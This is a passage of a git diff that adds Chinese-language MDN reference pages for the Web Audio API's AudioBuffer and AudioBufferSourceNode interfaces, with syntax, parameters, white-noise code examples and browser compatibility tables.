<div x:id="example" onclick="console.log(this.attributes[0].prefix)"/>
+
+ +

注意

+ +

该属性仅在使用有名字空间解析功能的解析器时有效,例如一个MIME类型为XML的文档。在HTML文档中无效。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-attr-prefix', 'Attr: prefix')}}{{Spec2('DOM WHATWG')}}
{{SpecName("DOM4", "#dom-attr-prefix", "Attr.prefix")}}{{Spec2("DOM4")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Attr.prefix")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/audiobuffer/audiobuffer/index.html b/files/zh-cn/web/api/audiobuffer/audiobuffer/index.html new file mode 100644 index 0000000000..0b207a8d4c --- /dev/null +++ b/files/zh-cn/web/api/audiobuffer/audiobuffer/index.html @@ -0,0 +1,59 @@ +--- +title: AudioBuffer() +slug: Web/API/AudioBuffer/AudioBuffer +translation_of: Web/API/AudioBuffer/AudioBuffer +--- +

{{APIRef("Web Audio API")}}

+ +

Web Audio API 的 AudioBuffer 构造函数将创建一个新的 {{domxref("AudioBuffer")}} 对象.

+ +

语法

+ +
var audioBuffer = new AudioBuffer([options]);
+var audioBuffer = new AudioBuffer(context[, options]);
+ +

参数

+ +

继承参数自 {{domxref("AudioNodeOptions")}} 字典.

+ +
+
context {{obsolete_inline("")}}
+
一个 {{domxref("AudioContext")}} 对象. (这个参数已经被标准移除, 详细信息请参阅浏览器兼容性部分.)
+
options {{optional_inline}}
+
Options are as follows: +
    +
  • length: buffer中采样帧的长度.
  • +
  • numberOfChannels: buffer的通道数. 默认值为1. 
  • +
  • sampleRate: buffer的采样率 (Hz). 默认值为构造此对象时使用的 context 的采样率.
  • +
+
+
+ +

返回值

+ +

一个新的 {{domxref("AudioBuffer")}} 对象实例.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#AudioBuffer','AudioBuffer')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.AudioBuffer.AudioBuffer")}}

+
diff --git a/files/zh-cn/web/api/audiobuffer/copyfromchannel/index.html b/files/zh-cn/web/api/audiobuffer/copyfromchannel/index.html new file mode 100644 index 0000000000..2cbcf3a57b --- /dev/null +++ b/files/zh-cn/web/api/audiobuffer/copyfromchannel/index.html @@ -0,0 +1,137 @@ +--- +title: AudioBuffer.copyFromChannel() +slug: Web/API/AudioBuffer/copyFromChannel +translation_of: Web/API/AudioBuffer/copyFromChannel +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioBuffer") }}接口的copyFromChannel方法将样本从AudioBuffer的指定通道复制到目标数组中

+
+ +

语法

+ +
myArrayBuffer.copyFromChannel(destination,channelNumber,startInChannel);
+ +

参数

+ +
+
destination
+
将通道数据复制到的{{domxref("Float32Array")}}
+
channelNumber
+
当前AudioBuffer的通道号,用于复制通道数据。键入channelNumber大于或等于{{domxref("AudioBuffer.numberOfChannels")}},将会抛出INDEX_SIZE_ERR 的错误
+
startInChannel {{optional_inline}}
+
用于复制数据的可选偏移量。假如startInChannel比{{domxref("AudioBuffer.length")}}大,将会抛出INDEX_SIZE_ERR 的错误
+
+ +

例子

+ +
var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+var anotherArray = new Float32Array;
+myArrayBuffer.copyFromChannel(anotherArray,1,0);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioBuffer-copyFromChannel-void-Float32Array-destination-long-channelNumber-unsigned-long-startInChannel', 'copyFromChannel')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(14.0)}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(27)}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
{{CompatNo}}
Unprefixed{{CompatChrome(43.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(27)}}1.2{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(28.0)}} {{property_prefix("webkit")}}
Unprefixed{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(43.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiobuffer/duration/index.html b/files/zh-cn/web/api/audiobuffer/duration/index.html new file mode 100644 index 0000000000..42b804569e --- /dev/null +++ b/files/zh-cn/web/api/audiobuffer/duration/index.html @@ -0,0 +1,128 @@ +--- +title: AudioBuffer.duration +slug: Web/API/AudioBuffer/duration +translation_of: Web/API/AudioBuffer/duration +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{domxref("AudioBuffer")}}接口的duration属性返回一个双精度数,表示缓冲区中存储的PCM数据的持续时间(以秒为单位)

+
+ +

语法

+ +
var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+myArrayBuffer.duration;
+ +

+ +

双精度值

+ +

例子

+ +
// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  // just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+    // This gives us the actual ArrayBuffer that contains the data
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i < frameCount; i++) {
+      // Math.random() is in [0; 1.0]
+      // audio needs to be in [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  console.log(myArrayBuffer.duration);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioBuffer-duration', 'duration')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiobuffer/getchanneldata/index.html b/files/zh-cn/web/api/audiobuffer/getchanneldata/index.html new file mode 100644 index 0000000000..2c0d75cb1b --- /dev/null +++ b/files/zh-cn/web/api/audiobuffer/getchanneldata/index.html @@ -0,0 +1,102 @@ +--- +title: AudioBuffer.getChannelData() +slug: Web/API/AudioBuffer/getChannelData +translation_of: Web/API/AudioBuffer/getChannelData +--- +

{{ APIRef("Web Audio API") }}

+ +

 {{ domxref("AudioBuffer") }} 接口的getChannelData()方法返回一{{domxref("Float32Array")}} ,其中包含与通道关联的PCM数据,通道参数定义(0表示第一个通道)。

+ +

语法

+ +
var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+var nowBuffering = myArrayBuffer.getChannelData(channel);
+ +

参数

+ +
+
channel
+
channel属性是要获取特定通道数据的索引。0代表第一个通道。 如果索引值大于或等于{{domxref("AudioBuffer.numberOfChannels")}}, 会抛出一个索引大小异常(INDEX_SIZE_ERR )的错误。
+
+ +

返回值

+ +

 {{domxref("Float32Array")}}.

+ +
+
+ +

例子

+ +

在下例中,我们创建一个2秒钟的缓冲区,用白噪声填充它,然后通过{{domxref("AudioBufferSourceNode") }}来播放它. 评论应该会清楚的解释发生的事情。 你也可以实时运行代码,或者查看源代码

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#dom-audiobuffer-getchanneldata', 'getChannelData')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioBuffer.getChannelData")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiobuffer/index.html b/files/zh-cn/web/api/audiobuffer/index.html new file mode 100644 index 0000000000..2922de46d6 --- /dev/null +++ b/files/zh-cn/web/api/audiobuffer/index.html @@ -0,0 +1,111 @@ +--- +title: AudioBuffer +slug: Web/API/AudioBuffer +translation_of: Web/API/AudioBuffer +--- +

{{APIRef("Web Audio API")}}

+ +
+

AudioBuffer接口表示存在内存里的一段短小的音频资源,利用{{ domxref("AudioContext.decodeAudioData()") }}方法从一个音频文件构建,或者利用 {{ domxref("AudioContext.createBuffer()") }}从原始数据构建。把音频放入AudioBuffer后,可以传入到一个 {{ domxref("AudioBufferSourceNode") }}进行播放。

+
+ +

这些类型对象被设计来控制小音频片段,往往短于45秒。对于更长的声音,通过 {{domxref("MediaElementAudioSourceNode")}}来实现更为合适。缓存区(buffer)包含以下数据:不间断的IEEE75432位线性PCM,从-1到1的范围额定,就是说,32位的浮点缓存区的每个样本在-1.0到1.0之间。如果{{domxref("AudioBuffer")}}有不同的频道,他们通常被保存在独立的缓存区。

+ +

属性

+ +
+
{{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}
+
存储在缓存区的PCM数据的采样率:浮点数,单位为 sample/s。
+
{{domxref("AudioBuffer.length")}} {{readonlyInline}}
+
返回存储在缓存区的PCM数据的采样帧率:整形。
+
{{domxref("AudioBuffer.duration")}} {{readonlyInline}}
+
返回存储在缓存区的PCM数据的时长:双精度型(单位为秒),。
+
{{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}
+
返回存储在缓存区的PCM数据的通道数:整形。
+
+ +

方法

+ +
+
{{domxref("AudioBuffer.getChannelData()")}}
+
返回一个 {{jsxref("Float32Array")}},包含了带有频道的PCM数据,由频道参数定义(有0代表第一个频道)
+
{{domxref("AudioBuffer.copyFromChannel()")}}
+
从AudioBuffer的指定频道复制到数组终端。
+
{{domxref("AudioBuffer.copyToChannel()")}}
+
复制样品到原数组的AudioBuffer的指定频道
+
+ +

例子

+ +

以下的例子展示了如何构建一个AudioBuffer以及随机用白噪音填充。你可以在 audio-buffer demo库发现完整的源代码;一个running live 的版本也可获得。

+ +
// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  // just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+    // This gives us the actual array that contains the data
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i < frameCount; i++) {
+      // Math.random() is in [0; 1.0]
+      // audio needs to be in [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+
+  // start the source playing
+  source.start();
+
+}
+
+ +

规格参数

+ + + + + + + + + + + + + + +
规格参数状态注释
{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.AudioBuffer")}}

+ +
+ +

可查看

+ + diff --git a/files/zh-cn/web/api/audiobuffer/length/index.html b/files/zh-cn/web/api/audiobuffer/length/index.html new file mode 100644 index 0000000000..054584f83b --- /dev/null +++ b/files/zh-cn/web/api/audiobuffer/length/index.html @@ -0,0 +1,129 @@ +--- +title: AudioBuffer.length +slug: Web/API/AudioBuffer/length +translation_of: Web/API/AudioBuffer/length +--- +

{{ APIRef("Web Audio API") }}

+ +
+

The length property of the {{ domxref("AudioBuffer") }} interface returns an integer representing the length, in sample-frames, of the PCM data stored in the buffer.

+ +

{{ domxref("AudioBuffer") }} 的length属性接口返回整数,该整数代表采样帧中,存贮在缓冲区中的PCM数据的长度

+
+ +

语法

+ +
var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+myArrayBuffer.length;
+ +

+ +

浮点数

+ +

例子

+ +
// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  // just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+    // This gives us the actual ArrayBuffer that contains the data
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i < frameCount; i++) {
+      // Math.random() is in [0; 1.0]
+      // audio needs to be in [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  console.log(myArrayBuffer.length);
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioBuffer-length', 'length')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiobuffer/numberofchannels/index.html b/files/zh-cn/web/api/audiobuffer/numberofchannels/index.html new file mode 100644 index 0000000000..5ea379d53a --- /dev/null +++ b/files/zh-cn/web/api/audiobuffer/numberofchannels/index.html @@ -0,0 +1,132 @@ +--- +title: AudioBuffer.numberOfChannels +slug: Web/API/AudioBuffer/numberOfChannels +tags: + - API + - AudioBuffer + - Web Audio API + - 属性 +translation_of: Web/API/AudioBuffer/numberOfChannels +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioBuffer") }}接口的numberOfChannels属性返回一个整数,该整数表示由缓冲区中存储的PCM数据描述的离散音频通道的数量

+
+ +

语法

+ +
var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+myArrayBuffer.numberOfChannels;
+ +

返回值

+ +

一个整数。

+ +

示例

+ +
// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  // just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+    // This gives us the actual ArrayBuffer that contains the data
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i < frameCount; i++) {
+      // Math.random() is in [0; 1.0]
+      // audio needs to be in [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  console.log(myArrayBuffer.numberOfChannels);
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioBuffer-numberOfChannels', 'numberOfChannels')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/audiobuffer/samplerate/index.html b/files/zh-cn/web/api/audiobuffer/samplerate/index.html new file mode 100644 index 0000000000..1de2c66fb5 --- /dev/null +++ b/files/zh-cn/web/api/audiobuffer/samplerate/index.html @@ -0,0 +1,81 @@ +--- +title: AudioBuffer.sampleRate +slug: Web/API/AudioBuffer/sampleRate +tags: + - API + - AudioBuffer + - Web Audio API + - sampleRate +translation_of: Web/API/AudioBuffer/sampleRate +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioBuffer") }} 接口的 sampleRate 属性返回一个以浮点数表示的采样率。该采样率是存储在缓冲区的PCM数据每秒钟的采样。

+
+ +

语法

+ +
var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+myArrayBuffer.sampleRate;
+ +

返回值

+ +

一个浮点数,表示缓冲区数据的当前采样率。

+ +

示例

+ +
// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  // just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+    // This gives us the actual ArrayBuffer that contains the data
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i < frameCount; i++) {
+      // Math.random() is in [0; 1.0]
+      // audio needs to be in [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  console.log(myArrayBuffer.sampleRate);
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioBuffer-sampleRate', 'sampleRate')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.AudioBuffer.sampleRate")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/audiobuffersourcenode/audiobuffersourcenode/index.html b/files/zh-cn/web/api/audiobuffersourcenode/audiobuffersourcenode/index.html new file mode 100644 index 0000000000..62202a1370 --- /dev/null +++ b/files/zh-cn/web/api/audiobuffersourcenode/audiobuffersourcenode/index.html @@ -0,0 +1,64 @@ +--- +title: AudioBufferSourceNode.AudioBufferSourceNode() +slug: Web/API/AudioBufferSourceNode/AudioBufferSourceNode +translation_of: Web/API/AudioBufferSourceNode/AudioBufferSourceNode +--- +

{{APIRef("Web Audio API")}}

+ +

 AudioBufferSourceNode() 构造器创建一个新的 {{domxref("AudioBufferSourceNode")}} 实例.

+ +

Syntax

+ +
var audioBufferSourceNode = new AudioBufferSourceNode(context, options)
+ +

Parameters

+ +

从 {{domxref("AudioNodeOptions")}} 字典中继承变量.

+ +
+
内容
+
指向 {{domxref("AudioContext")}}.
+
选项 {{optional_inline}}
+
如下: +
    +
  • buffer: An instance of {{domxref("AudioBuffer")}} to be played.
  • +
  • detune: A value in cents to modulate the speed of audio stream rendering. Its nominal range is (-∞ to +∞). The default is 0.
  • +
  • loop: A boolean indicating whether the audio should play in a loop. The default is false. If the loop is dynamically modified during playback, the new value will take effect on the next processing block of audio.
  • +
  • loopEnd: An optional value, in seconds, where looping should end if the loop attribute is true. The default is 0. Its value is exclusive to the content of the loop. The sample frames, comprising the loop, run from the values loopStart to loopEnd-(1/sampleRate). It's sensible to set this to a value between 0 and the duration of the buffer. If loopEnd is less than 0, looping will end at 0. If loopEnd is greater than the duration of the buffer, looping will end at the end of the buffer. This attribute is converted to an exact sample frame offset within the buffer, by multiplying by the buffer's sample rate and rounding to the nearest integer value. Thus, its behavior is independent of the value of the playbackRate parameter.
  • +
+ +
    +
  • loopStart: An optional value in seconds, where looping should end if the loop attribute is true. The default is 0. It's sensible to set this to a value between 0 and the duration of the buffer. If loopStart is less than 0, looping will begin at 0. If loopStart is greater than the duration of the buffer, looping will begin at the end of the buffer. This attribute is converted to an exact sample frame offset within the buffer, by multiplying by the buffer's sample rate and rounding to the nearest integer value. Thus, its behavior is independent of the value of the playbackRate parameter.
  • +
  • playbackRate: The speed at which to render the audio stream. Its default value is 1. This parameter is k-rate. This is a compound parameter with detune. Its nominal range is (-∞ to +∞).
  • +
+
+
+ +

Return value

+ +

A new {{domxref("AudioBufferSourceNode")}} object instance.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#AudioBufferSourceNode','AudioBufferSourceNode()')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

Browser Compatibility

+ +
+ + +

{{Compat("api.AudioBufferSourceNode.AudioBufferSourceNode")}}

+
diff --git a/files/zh-cn/web/api/audiobuffersourcenode/buffer/index.html b/files/zh-cn/web/api/audiobuffersourcenode/buffer/index.html new file mode 100644 index 0000000000..39591c82ba --- /dev/null +++ b/files/zh-cn/web/api/audiobuffersourcenode/buffer/index.html @@ -0,0 +1,81 @@ +--- +title: AudioBufferSourceNode.buffer +slug: Web/API/AudioBufferSourceNode/buffer +tags: + - API + - AudioBufferSourceNode + - Web Audio API +translation_of: Web/API/AudioBufferSourceNode/buffer +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AudioBufferSourceNode") }} 接口的 buffer 属性提供了重复播放音频的能力,该音频使用 {{domxref("AudioBuffer")}} 作为声音文件的来源。

+ +

如果 buffer 属性的值为 null, 节点会自动生成一个单声道的无声文件(所有采样均为0)。

+ +

语法

+ +
AudioBufferSourceNode.buffer = soundBuffer;
+
+ +

返回值

+ +

{{domxref("AudioBuffer")}},包含了节点将要播放的声音数据

+ +

示例

+ +
+

完整的示例请查看  this code running live,或  view the source。

+
+ +
var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web Audio API", "#widl-AudioBufferSourceNode-buffer", "buffer")}}{{Spec2("Web Audio API")}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.AudioBufferSourceNode.buffer")}}

+
+ +

相关链接

+ +

{{page("/en-US/docs/Web/API/AudioBufferSourceNode","See_also")}}

diff --git a/files/zh-cn/web/api/audiobuffersourcenode/index.html b/files/zh-cn/web/api/audiobuffersourcenode/index.html new file mode 100644 index 0000000000..2d6ef36dae --- /dev/null +++ b/files/zh-cn/web/api/audiobuffersourcenode/index.html @@ -0,0 +1,225 @@ +--- +title: AudioBufferSourceNode +slug: Web/API/AudioBufferSourceNode +translation_of: Web/API/AudioBufferSourceNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

AudioBufferSourceNode 接口继承自{{domxref("AudioScheduledSourceNode")}} ,表现为一个音频源,它包含了一些写在内存中的音频数据,通常储存在一个ArrayBuffer对象中。在处理有严格的时间精确度要求的回放的情形下它尤其有用。比如播放那些需要满足一个指定节奏的声音或者那些储存在内存而不是硬盘或者来自网络的声音。为了播放那些有时间精确度需求但来自网络的流文件或者来自硬盘,则使用{{domxref("AudioWorkletNode")}}来实现回放。

+ +

{{InheritanceDiagram}}

+
+ +

AudioBufferSourceNode 没有输入却有一个输出,其通道数与其 {{domxref("AudioBufferSourceNode.buffer", "buffer")}} 属性所指定的 AudioBuffer 相同。如果没有设置 buffer,也就是说 buffer 属性是 null 的话,输出将包含一个无声的单通道(每个采样点均为0)。

+ +

一个 {{domxref("AudioBufferSourceNode")}} 只能被播放一次,也就是说,每次调用 {{domxref("AudioScheduledSourceNode.start", "start()")}} 之后,如果还想再播放一遍同样的声音,那么就需要再创建一个 AudioBufferSourceNode。庆幸的是,创建该节点的代价并不大,并且想要多次播放声音的话,实际上 AudioBuffer 也可以被重用。事实上,你可以用一种“阅后即焚”的方式来使用这些节点:创建节点,调用 start() 开始播放声音,然后,你甚至不需要再保留这个节点的引用了。声音播放完成之后,垃圾收集器会找个恰当的时机回收资源。

+ +

多次调用 AudioBufferSourceNode.stop() 是允许的。如果这时候 AudioBufferSourceNode 还没有到达缓冲区末尾的话,最近一次的调用将替换上一次的调用。

+ +


+ The AudioBufferSourceNode takes the content of an AudioBuffer and m

+ + + + + + + + + + + + + + + + +
输入数量0
输出数量1
频道数量由相关的 {{domxref("AudioBuffer")}} 定义
+ +

属性

+ +

从父级的 {{domxref("AudioNode")}} 继承属性.

+ +
+
{{domxref("AudioBufferSourceNode.buffer")}}
+
是一个 {{domxref("AudioBuffer")}} 它定义了要播放的音频,当设置它的值为0时,它会定义一个静默的单通道。
+
{{domxref("AudioBufferSourceNode.detune")}}
+
Is a k-rate {{domxref("AudioParam")}} representing detuning of oscillation in cents. Its default value is 0.
+
{{domxref("AudioBufferSourceNode.loop")}}
+
Is a Boolean attribute indicating if the audio asset must be replayed when the end of the {{domxref("AudioBuffer")}} is reached. Its default value is false.
+
{{domxref("AudioBufferSourceNode.loopStart")}}
+
Is a double value indicating, in seconds, where in the {{domxref("AudioBuffer")}} the restart of the play must happen. Its default value is 0.
+
{{domxref("AudioBufferSourceNode.loopEnd")}}
+
Is a double value indicating, in seconds, where in the {{domxref("AudioBuffer")}} the replay of the play must stop (and eventually loop again). Its default value is 0.
+
{{domxref("AudioBufferSourceNode.playbackRate")}}
+
Is an a-rate {{domxref("AudioParam")}} that defines the speed factor at which the audio asset will be played. Since no pitch correction is applied on the output, this can be used to change the pitch of the sample.
+
+ +

事件

+ +
+
{{domxref("AudioBufferSourceNode.onended")}}
+
是一个 {{domxref("EventHandler")}} 类型,包含了与 {{event("ended_(Web_Audio)", "ended")}} 相关联的结束事件。
+
+ +

方法

+ +

从父级的 {{domxref("AudioNode")}} 继承方法

+ +
+
{{domxref("AudioBufferSourceNode.start()")}}
+
Schedules the start of the playback of the audio asset.
+
{{domxref("AudioBufferSourceNode.stop()")}}
+
Schedules the end of the playback of an audio asset.
+
+ +

例子

+ +

在这个例子中, 我们将会创建一个2秒的缓冲器,并用白噪音填充它, 然后通过{{domxref("AudioBufferSourceNode")}}来播放它.  注释里说明了它的功能.

+ +
+

注意: 你可以 查看在线演示 或 查看源代码.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two-second stereo buffer at the
+// sample rate of the AudioContext
